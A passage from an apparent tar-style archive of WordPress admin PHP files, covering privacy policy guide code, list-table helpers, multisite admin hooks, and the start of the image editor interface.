		}

		if ( $update_cache ) {
			delete_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
			// Update the cache.
			foreach ( $done as $data ) {
				add_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content', $data );
			}
		}
	}

	/**
	 * Checks for updated, added or removed privacy policy information from plugins.
	 *
	 * Caches the current info in post_meta of the policy page.
	 *
	 * @since 4.9.6
	 *
	 * @return array The privacy policy text/information added by core and plugins.
	 */
	public static function get_suggested_policy_text() {
		$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
		$checked        = array();
		$time           = time();
		$update_cache   = false;
		$new            = self::$policy_content;
		$old            = array();

		if ( $policy_page_id ) {
			$old = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
		}

		// Check for no-changes and updates.
		foreach ( $new as $new_key => $new_data ) {
			foreach ( $old as $old_key => $old_data ) {
				$found = false;

				if ( $new_data['policy_text'] === $old_data['policy_text'] ) {
					// Use the new plugin name in case it was changed, translated, etc.
					if ( $old_data['plugin_name'] !== $new_data['plugin_name'] ) {
						$old_data['plugin_name'] = $new_data['plugin_name'];
						$update_cache            = true;
					}

					// A plugin was re-activated.
					if ( ! empty( $old_data['removed'] ) ) {
						unset( $old_data['removed'] );
						$old_data['added'] = $time;
						$update_cache      = true;
					}

					$checked[] = $old_data;
					$found     = true;
				} elseif ( $new_data['plugin_name'] === $old_data['plugin_name'] ) {
					// The info for the policy was updated.
					$checked[]    = array(
						'plugin_name' => $new_data['plugin_name'],
						'policy_text' => $new_data['policy_text'],
						'updated'     => $time,
					);
					$found        = true;
					$update_cache = true;
				}

				if ( $found ) {
					unset( $new[ $new_key ], $old[ $old_key ] );
					continue 2;
				}
			}
		}

		if ( ! empty( $new ) ) {
			// A plugin was activated.
			foreach ( $new as $new_data ) {
				if ( ! empty( $new_data['plugin_name'] ) && ! empty( $new_data['policy_text'] ) ) {
					$new_data['added'] = $time;
					$checked[]         = $new_data;
				}
			}
			$update_cache = true;
		}

		if ( ! empty( $old ) ) {
			// A plugin was deactivated.
			foreach ( $old as $old_data ) {
				if ( ! empty( $old_data['plugin_name'] ) && ! empty( $old_data['policy_text'] ) ) {
					$data = array(
						'plugin_name' => $old_data['plugin_name'],
						'policy_text' => $old_data['policy_text'],
						'removed'     => $time,
					);

					$checked[] = $data;
				}
			}
			$update_cache = true;
		}

		if ( $update_cache && $policy_page_id ) {
			delete_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
			// Update the cache.
			foreach ( $checked as $data ) {
				add_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content', $data );
			}
		}

		return $checked;
	}

	/**
	 * Adds a notice with a link to the guide when editing the privacy policy page.
	 *
	 * @since 4.9.6
	 * @since 5.0.0 The `$post` parameter was made optional.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_Post|null $post The currently edited post. Default null.
	 */
	public static function notice( $post = null ) {
		if ( is_null( $post ) ) {
			global $post;
		} else {
			$post = get_post( $post );
		}

		if ( ! ( $post instanceof WP_Post ) ) {
			return;
		}

		if ( ! current_user_can( 'manage_privacy_options' ) ) {
			return;
		}

		$current_screen = get_current_screen();
		$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );

		if ( 'post' !== $current_screen->base || $policy_page_id !== $post->ID ) {
			return;
		}

		$message = __( 'Need help putting together your new Privacy Policy page? Check out our guide for recommendations on what content to include, along with policies suggested by your plugins and theme.' );
		$url     = esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) );
		$label   = __( 'View Privacy Policy Guide.' );

		if ( get_current_screen()->is_block_editor() ) {
			wp_enqueue_script( 'wp-notices' );
			$action = array(
				'url'   => $url,
				'label' => $label,
			);
			wp_add_inline_script(
				'wp-notices',
				sprintf(
					'wp.data.dispatch( "core/notices" ).createWarningNotice( "%s", { actions: [ %s ], isDismissible: false } )',
					$message,
					wp_json_encode( $action )
				),
				'after'
			);
		} else {
			$message .= sprintf(
				' <a href="%s" target="_blank">%s <span class="screen-reader-text">%s</span></a>',
				$url,
				$label,
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			);
			wp_admin_notice(
				$message,
				array(
					'type'               => 'warning',
					'additional_classes' => array( 'inline', 'wp-pp-notice' ),
				)
			);
		}
	}

	/**
	 * Outputs the privacy policy guide together with content from the theme and plugins.
	 *
	 * @since 4.9.6
	 */
	public static function privacy_policy_guide() {

		$content_array = self::get_suggested_policy_text();
		$content       = '';
		$date_format   = __( 'F j, Y' );

		foreach ( $content_array as $section ) {
			$class   = '';
			$meta    = '';
			$removed = '';

			if ( ! empty( $section['removed'] ) ) {
				$badge_class = ' red';
				$date        = date_i18n( $date_format, $section['removed'] );
				/* translators: %s: Date of plugin deactivation. */
				$badge_title = sprintf( __( 'Removed %s.' ), $date );

				/* translators: %s: Date of plugin deactivation. */
				$removed = sprintf( __( 'You deactivated this plugin on %s and may no longer need this policy.' ), $date );
				$removed = wp_get_admin_notice(
					$removed,
					array(
						'type'               => 'info',
						'additional_classes' => array( 'inline' ),
					)
				);
			} elseif ( ! empty( $section['updated'] ) ) {
				$badge_class = ' blue';
				$date        = date_i18n( $date_format, $section['updated'] );
				/* translators: %s: Date of privacy policy text update. */
				$badge_title = sprintf( __( 'Updated %s.' ), $date );
			}

			$plugin_name = esc_html( $section['plugin_name'] );

			$sanitized_policy_name = sanitize_title_with_dashes( $plugin_name );
			?>
			<h4 class="privacy-settings-accordion-heading">
			<button aria-expanded="false" class="privacy-settings-accordion-trigger" aria-controls="privacy-settings-accordion-block-<?php echo $sanitized_policy_name; ?>" type="button">
				<span class="title"><?php echo $plugin_name; ?></span>
				<?php if ( ! empty( $section['removed'] ) || ! empty( $section['updated'] ) ) : ?>
				<span class="badge <?php echo $badge_class; ?>"> <?php echo $badge_title; ?></span>
				<?php endif; ?>
				<span class="icon"></span>
			</button>
			</h4>
			<div id="privacy-settings-accordion-block-<?php echo $sanitized_policy_name; ?>" class="privacy-settings-accordion-panel privacy-text-box-body" hidden="hidden">
				<?php
				echo $removed;
				echo $section['policy_text'];
				?>
				<?php if ( empty( $section['removed'] ) ) : ?>
				<div class="privacy-settings-accordion-actions">
					<span class="success" aria-hidden="true"><?php _e( 'Copied!' ); ?></span>
					<button type="button" class="privacy-text-copy button">
						<span aria-hidden="true"><?php _e( 'Copy suggested policy text to clipboard' ); ?></span>
						<span class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. %s: Plugin name. */
							printf( __( 'Copy suggested policy text from %s.' ), $plugin_name );
							?>
						</span>
					</button>
				</div>
				<?php endif; ?>
			</div>
			<?php
		}
	}

	/**
	 * Returns the default suggested privacy policy content.
	 *
	 * @since 4.9.6
	 * @since 5.0.0 Added the `$blocks` parameter.
	 *
	 * @param bool $description Whether to include the descriptions under the section headings. Default false.
	 * @param bool $blocks      Whether to format the content for the block editor. Default true.
	 * @return string The default policy content.
	 */
	public static function get_default_content( $description = false, $blocks = true ) {
		$suggested_text = '<strong class="privacy-policy-tutorial">' . __( 'Suggested text:' ) . ' </strong>';
		$content        = '';
		$strings        = array();

		// Start of the suggested privacy policy text.
		if ( $description ) {
			$strings[] = '<div class="wp-suggested-text">';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2>' . __( 'Who we are' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should note your site URL, as well as the name of the company, organization, or individual behind it, and some accurate contact information.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'The amount of information you may be required to show will vary depending on your local or national business regulations. You may, for example, be required to display a physical address, a registered address, or your company registration number.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. %s: Site URL. */
			$strings[] = '<p>' . $suggested_text . sprintf( __( 'Our website address is: %s.' ), get_bloginfo( 'url', 'display' ) ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'What personal data we collect and why we collect it' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should note what personal data you collect from users and site visitors. This may include personal data, such as name, email address, personal account preferences; transactional data, such as purchase information; and technical data, such as information about cookies.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'You should also note any collection and retention of sensitive personal data, such as data concerning health.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In addition to listing what personal data you collect, you need to note why you collect it. These explanations must note either the legal basis for your data collection and retention or the active consent the user has given.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'Personal data is not just created by a user&#8217;s interactions with your site. Personal data is also generated from technical processes such as contact forms, comments, cookies, analytics, and third party embeds.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'By default WordPress does not collect any personal data about visitors, and only collects the data shown on the User Profile screen from registered users. However some of your plugins may collect personal data. You should add the relevant information below.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2>' . __( 'Comments' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this subsection you should note what information is captured through comments. We have noted the data which WordPress collects by default.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'When visitors leave comments on the site we collect the data shown in the comments form, and also the visitor&#8217;s IP address and browser user agent string to help spam detection.' ) . '</p>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . __( 'An anonymized string created from your email address (also called a hash) may be provided to the Gravatar service to see if you are using it. The Gravatar service privacy policy is available here: https://automattic.com/privacy/. After approval of your comment, your profile picture is visible to the public in the context of your comment.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2>' . __( 'Media' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this subsection you should note what information may be disclosed by users who can upload media files. All uploaded files are usually publicly accessible.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'If you upload images to the website, you should avoid uploading images with embedded location data (EXIF GPS) included. Visitors to the website can download and extract any location data from images on the website.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'Contact forms' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'By default, WordPress does not include a contact form. If you use a contact form plugin, use this subsection to note what personal data is captured when someone submits a contact form, and how long you keep it. For example, you may note that you keep contact form submissions for a certain period for customer service purposes, but you do not use the information submitted through them for marketing purposes.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2>' . __( 'Cookies' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this subsection you should list the cookies your web site uses, including those set by your plugins, social media, and analytics. We have provided the cookies which WordPress installs by default.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'If you leave a comment on our site you may opt-in to saving your name, email address and website in cookies. These are for your convenience so that you do not have to fill in your details again when you leave another comment. These cookies will last for one year.' ) . '</p>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . __( 'If you visit our login page, we will set a temporary cookie to determine if your browser accepts cookies. This cookie contains no personal data and is discarded when you close your browser.' ) . '</p>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . __( 'When you log in, we will also set up several cookies to save your login information and your screen display choices. Login cookies last for two days, and screen options cookies last for a year. If you select &quot;Remember Me&quot;, your login will persist for two weeks. If you log out of your account, the login cookies will be removed.' ) . '</p>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . __( 'If you edit or publish an article, an additional cookie will be saved in your browser. This cookie includes no personal data and simply indicates the post ID of the article you just edited. It expires after 1 day.' ) . '</p>';
		}

		if ( ! $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'Embedded content from other websites' ) . '</h2>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'Articles on this site may include embedded content (e.g. videos, images, articles, etc.). Embedded content from other websites behaves in the exact same way as if the visitor has visited the other website.' ) . '</p>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . __( 'These websites may collect data about you, use cookies, embed additional third-party tracking, and monitor your interaction with that embedded content, including tracking your interaction with the embedded content if you have an account and are logged in to that website.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'Analytics' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this subsection you should note what analytics package you use, how users can opt out of analytics tracking, and a link to your analytics provider&#8217;s privacy policy, if any.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'By default WordPress does not collect any analytics data. However, many web hosting accounts collect some anonymous analytics data. You may also have installed a WordPress plugin that provides analytics services. In that case, add information from that plugin here.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2>' . __( 'Who we share your data with' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should name and list all third party providers with whom you share site data, including partners, cloud-based services, payment processors, and third party service providers, and note what data you share with them and why. Link to their own privacy policies if possible.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'By default WordPress does not share any personal data with anyone.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'If you request a password reset, your IP address will be included in the reset email.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2>' . __( 'How long we retain your data' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should explain how long you retain personal data collected or processed by the web site. While it is your responsibility to come up with the schedule of how long you keep each dataset for and why you keep it, that information does need to be listed here. For example, you may want to say that you keep contact form entries for six months, analytics records for a year, and customer purchase records for ten years.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'If you leave a comment, the comment and its metadata are retained indefinitely. This is so we can recognize and approve any follow-up comments automatically instead of holding them in a moderation queue.' ) . '</p>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . __( 'For users that register on our website (if any), we also store the personal information they provide in their user profile. All users can see, edit, or delete their personal information at any time (except they cannot change their username). Website administrators can also see and edit that information.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2>' . __( 'What rights you have over your data' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should explain what rights your users have over their data and how they can invoke those rights.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'If you have an account on this site, or have left comments, you can request to receive an exported file of the personal data we hold about you, including any data you have provided to us. You can also request that we erase any personal data we hold about you. This does not include any data we are obliged to keep for administrative, legal, or security purposes.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2>' . __( 'Where your data is sent' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should list all transfers of your site data outside the European Union and describe the means by which that data is safeguarded to European data protection standards. This could include your web hosting, cloud storage, or other third party services.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'European data protection law requires data about European residents which is transferred outside the European Union to be safeguarded to the same standards as if the data was in Europe. So in addition to listing where data goes, you should describe how you ensure that these standards are met either by yourself or by your third party providers, whether that is through an agreement such as Privacy Shield, model clauses in your contracts, or binding corporate rules.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'Visitor comments may be checked through an automated spam detection service.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'Contact information' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should provide a contact method for privacy-specific concerns. If you are required to have a Data Protection Officer, list their name and full contact details here as well.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'Additional information' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'If you use your site for commercial purposes and you engage in more complex collection or processing of personal data, you should note the following information in your privacy policy in addition to the information we have already discussed.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'How we protect your data' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should explain what measures you have taken to protect your users&#8217; data. This could include technical measures such as encryption; security measures such as two factor authentication; and measures such as staff training in data protection. If you have carried out a Privacy Impact Assessment, you can mention it here too.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'What data breach procedures we have in place' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should explain what procedures you have in place to deal with data breaches, either potential or real, such as internal reporting systems, contact mechanisms, or bug bounties.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'What third parties we receive data from' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'If your web site receives data about users from third parties, including advertisers, this information must be included within the section of your privacy policy dealing with third party data.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'What automated decision making and/or profiling we do with user data' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'If your web site provides a service which includes automated decision making - for example, allowing customers to apply for credit, or aggregating their data into an advertising profile - you must note that this is taking place, and include information about how that information is used, what decisions are made with that aggregated data, and what rights users have over decisions made without human intervention.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'Industry regulatory disclosure requirements' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'If you are a member of a regulated industry, or if you are subject to additional privacy laws, you may be required to disclose that information here.' ) . '</p>';
			$strings[] = '</div>';
		}

		if ( $blocks ) {
			foreach ( $strings as $key => $string ) {
				if ( str_starts_with( $string, '<p>' ) ) {
					$strings[ $key ] = '<!-- wp:paragraph -->' . $string . '<!-- /wp:paragraph -->';
				}

				if ( str_starts_with( $string, '<h2>' ) ) {
					$strings[ $key ] = '<!-- wp:heading -->' . $string . '<!-- /wp:heading -->';
				}
			}
		}

		$content = implode( '', $strings );
		// End of the suggested privacy policy text.

		/**
		 * Filters the default content suggested for inclusion in a privacy policy.
		 *
		 * @since 4.9.6
		 * @since 5.0.0 Added the `$strings`, `$description`, and `$blocks` parameters.
		 * @deprecated 5.7.0 Use wp_add_privacy_policy_content() instead.
		 *
		 * @param string   $content     The default policy content.
		 * @param string[] $strings     An array of privacy policy content strings.
		 * @param bool     $description Whether policy descriptions should be included.
		 * @param bool     $blocks      Whether the content should be formatted for the block editor.
		 */
		return apply_filters_deprecated(
			'wp_get_default_privacy_policy_content',
			array( $content, $strings, $description, $blocks ),
			'5.7.0',
			'wp_add_privacy_policy_content()'
		);
	}

	/**
	 * Adds the suggested privacy policy text to the policy postbox.
	 *
	 * @since 4.9.6
	 */
	public static function add_suggested_content() {
		$content = self::get_default_content( false, false );
		wp_add_privacy_policy_content( __( 'WordPress' ), $content );
	}
}
list-table.php000064400000007332150275632050007327 0ustar00<?php
/**
 * Helper functions for displaying a list of items in an ajaxified HTML table.
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 3.1.0
 */

/**
 * Fetches an instance of a WP_List_Table class.
 *
 * @since 3.1.0
 *
 * @global string $hook_suffix
 *
 * @param string $class_name The type of the list table, which is the class name.
 * @param array  $args       Optional. Arguments to pass to the class. Accepts 'screen'.
 * @return WP_List_Table|false List table object on success, false if the class does not exist.
 */
function _get_list_table( $class_name, $args = array() ) {
	$core_classes = array(
		// Site Admin.
		'WP_Posts_List_Table'                         => 'posts',
		'WP_Media_List_Table'                         => 'media',
		'WP_Terms_List_Table'                         => 'terms',
		'WP_Users_List_Table'                         => 'users',
		'WP_Comments_List_Table'                      => 'comments',
		'WP_Post_Comments_List_Table'                 => array( 'comments', 'post-comments' ),
		'WP_Links_List_Table'                         => 'links',
		'WP_Plugin_Install_List_Table'                => 'plugin-install',
		'WP_Themes_List_Table'                        => 'themes',
		'WP_Theme_Install_List_Table'                 => array( 'themes', 'theme-install' ),
		'WP_Plugins_List_Table'                       => 'plugins',
		'WP_Application_Passwords_List_Table'         => 'application-passwords',

		// Network Admin.
		'WP_MS_Sites_List_Table'                      => 'ms-sites',
		'WP_MS_Users_List_Table'                      => 'ms-users',
		'WP_MS_Themes_List_Table'                     => 'ms-themes',

		// Privacy requests tables.
		'WP_Privacy_Data_Export_Requests_List_Table'  => 'privacy-data-export-requests',
		'WP_Privacy_Data_Removal_Requests_List_Table' => 'privacy-data-removal-requests',
	);

	if ( isset( $core_classes[ $class_name ] ) ) {
		foreach ( (array) $core_classes[ $class_name ] as $required ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-' . $required . '-list-table.php';
		}

		if ( isset( $args['screen'] ) ) {
			$args['screen'] = convert_to_screen( $args['screen'] );
		} elseif ( isset( $GLOBALS['hook_suffix'] ) ) {
			$args['screen'] = get_current_screen();
		} else {
			$args['screen'] = null;
		}

		/**
		 * Filters the list table class to instantiate.
		 *
		 * @since 6.1.0
		 *
		 * @param string $class_name The list table class to use.
		 * @param array  $args       An array containing _get_list_table() arguments.
		 */
		$custom_class_name = apply_filters( 'wp_list_table_class_name', $class_name, $args );

		if ( is_string( $custom_class_name ) && class_exists( $custom_class_name ) ) {
			$class_name = $custom_class_name;
		}

		return new $class_name( $args );
	}

	return false;
}

/**
 * Register column headers for a particular screen.
 *
 * @see get_column_headers(), print_column_headers(), get_hidden_columns()
 *
 * @since 2.7.0
 *
 * @param string    $screen The handle for the screen to register column headers for. This is
 *                          usually the hook name returned by the `add_*_page()` functions.
 * @param string[] $columns An array of columns with column IDs as the keys and translated
 *                          column names as the values.
 */
function register_column_headers( $screen, $columns ) {
	new _WP_List_Table_Compat( $screen, $columns );
}

/**
 * Prints column headers for a particular screen.
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen  The screen hook name or screen object.
 * @param bool             $with_id Whether to set the ID attribute or not.
 */
function print_column_headers( $screen, $with_id = true ) {
	$wp_list_table = new _WP_List_Table_Compat( $screen );

	$wp_list_table->print_column_headers( $with_id );
}
ms-admin-filters.php000064400000002420150275632050010433 0ustar00<?php
/**
 * Multisite Administration hooks
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.3.0
 */

// Media hooks.
add_filter( 'wp_handle_upload_prefilter', 'check_upload_size' );

// User hooks.
add_action( 'user_admin_notices', 'new_user_email_admin_notice' );
add_action( 'network_admin_notices', 'new_user_email_admin_notice' );

add_action( 'admin_page_access_denied', '_access_denied_splash', 99 );

// Site hooks.
add_action( 'wpmueditblogaction', 'upload_space_setting' );

// Network hooks.
add_action( 'update_site_option_admin_email', 'wp_network_admin_email_change_notification', 10, 4 );

// Post hooks.
add_filter( 'wp_insert_post_data', 'avoid_blog_page_permalink_collision', 10, 2 );

// Tools hooks.
add_filter( 'import_allow_create_users', 'check_import_new_users' );

// Notices hooks.
add_action( 'admin_notices', 'site_admin_notice' );
add_action( 'network_admin_notices', 'site_admin_notice' );

// Update hooks.
add_action( 'network_admin_notices', 'update_nag', 3 );
add_action( 'network_admin_notices', 'maintenance_nag', 10 );

// Network Admin hooks.
add_action( 'add_site_option_new_admin_email', 'update_network_option_new_admin_email', 10, 2 );
add_action( 'update_site_option_new_admin_email', 'update_network_option_new_admin_email', 10, 2 );
image-edit.php000064400000124002150275632050007266 0ustar00<?php
/**
 * WordPress Image Editor
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Loads the WP image-editing interface.
 *
 * @since 2.9.0
 *
 * @param int          $post_id Attachment post ID.
 * @param false|object $msg     Optional. Message to display for image editor updates or errors.
 *                              Default false.
 */
function wp_image_editor( $post_id, $msg = false ) {
	$nonce     = wp_create_nonce( "image_editor-$post_id" );
	$meta      = wp_get_attachment_metadata( $post_id );
	$thumb     = image_get_intermediate_size( $post_id, 'thumbnail' );
	$sub_sizes = isset( $meta['sizes'] ) && is_array( $meta['sizes'] );
	$note      = '';

	if ( isset( $meta['width'], $meta['height'] ) ) {
		$big = max( $meta['width'], $meta['height'] );
	} else {
		die( __( 'Image data does not exist. Please re-upload the image.' ) );
	}

	$sizer = $big > 600 ? 600 / $big : 1;

	$backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true );
	$can_restore  = false;

	if ( ! empty( $backup_sizes ) && isset( $backup_sizes['full-orig'], $meta['file'] ) ) {
		$can_restore = wp_basename( $meta['file'] ) !== $backup_sizes['full-orig']['file'];
	}

	if ( $msg ) {
		if ( isset( $msg->error ) ) {
			$note = "<div class='notice notice-error' role='alert'><p>$msg->error</p></div>";
		} elseif ( isset( $msg->msg ) ) {
			$note = "<div class='notice notice-success' role='alert'><p>$msg->msg</p></div>";
		}
	}

	/**
	 * Shows the settings in the Image Editor that allow selecting to edit only the thumbnail of an image.
	 *
	 * @since 6.3.0
	 *
	 * @param bool $show Whether to show the settings in the Image Editor. Default false.
	 */
	$edit_thumbnails_separately = (bool) apply_filters( 'image_edit_thumbnails_separately', false );

	?>
	<div class="imgedit-wrap wp-clearfix">
	<div id="imgedit-panel-<?php echo $post_id; ?>">
	<?php echo $note; ?>
	<div class="imgedit-panel-content imgedit-panel-tools wp-clearfix">
		<div class="imgedit-menu wp-clearfix">
			<button type="button" onclick="imageEdit.toggleCropTool( <?php echo "$post_id, '$nonce'"; ?>, this );" aria-expanded="false" aria-controls="imgedit-crop" class="imgedit-crop button disabled" disabled><?php esc_html_e( 'Crop' ); ?></button>
			<button type="button" class="imgedit-scale button" onclick="imageEdit.toggleControls(this);" aria-expanded="false" aria-controls="imgedit-scale"><?php esc_html_e( 'Scale' ); ?></button>
			<div class="imgedit-rotate-menu-container">
				<button type="button" aria-controls="imgedit-rotate-menu" class="imgedit-rotate button" aria-expanded="false" onclick="imageEdit.togglePopup(this)" onblur="imageEdit.monitorPopup()"><?php esc_html_e( 'Image Rotation' ); ?></button>
				<div id="imgedit-rotate-menu" class="imgedit-popup-menu">
			<?php
			// On some setups GD library does not provide imagerotate() - Ticket #11536.
			if ( wp_image_editor_supports(
				array(
					'mime_type' => get_post_mime_type( $post_id ),
					'methods'   => array( 'rotate' ),
				)
			) ) {
				$note_no_rotate = '';
				?>
					<button type="button" class="imgedit-rleft button" onkeyup="imageEdit.browsePopup(this)" onclick="imageEdit.rotate( 90, <?php echo "$post_id, '$nonce'"; ?>, this)" onblur="imageEdit.monitorPopup()"><?php esc_html_e( 'Rotate 90&deg; left' ); ?></button>
					<button type="button" class="imgedit-rright button" onkeyup="imageEdit.browsePopup(this)" onclick="imageEdit.rotate(-90, <?php echo "$post_id, '$nonce'"; ?>, this)" onblur="imageEdit.monitorPopup()"><?php esc_html_e( 'Rotate 90&deg; right' ); ?></button>
					<button type="button" class="imgedit-rfull button" onkeyup="imageEdit.browsePopup(this)" onclick="imageEdit.rotate(180, <?php echo "$post_id, '$nonce'"; ?>, this)" onblur="imageEdit.monitorPopup()"><?php esc_html_e( 'Rotate 180&deg;' ); ?></button>
				<?php
			} else {
				$note_no_rotate = '<p class="note-no-rotate"><em>' . __( 'Image rotation is not supported by your web host.' ) . '</em></p>';
				?>
					<button type="button" class="imgedit-rleft button disabled" disabled></button>
					<button type="button" class="imgedit-rright button disabled" disabled></button>
				<?php
			}
			?>
					<hr />
					<button type="button" onkeyup="imageEdit.browsePopup(this)" onclick="imageEdit.flip(1, <?php echo "$post_id, '$nonce'"; ?>, this)" onblur="imageEdit.monitorPopup()" class="imgedit-flipv button"><?php esc_html_e( 'Flip vertical' ); ?></button>
					<button type="button" onkeyup="imageEdit.browsePopup(this)" onclick="imageEdit.flip(2, <?php echo "$post_id, '$nonce'"; ?>, this)" onblur="imageEdit.monitorPopup()" class="imgedit-fliph button"><?php esc_html_e( 'Flip horizontal' ); ?></button>
					<?php echo $note_no_rotate; ?>
				</div>
			</div>
		</div>
		<div class="imgedit-submit imgedit-menu">
			<button type="button" id="image-undo-<?php echo $post_id; ?>" onclick="imageEdit.undo(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-undo button disabled" disabled><?php esc_html_e( 'Undo' ); ?></button>
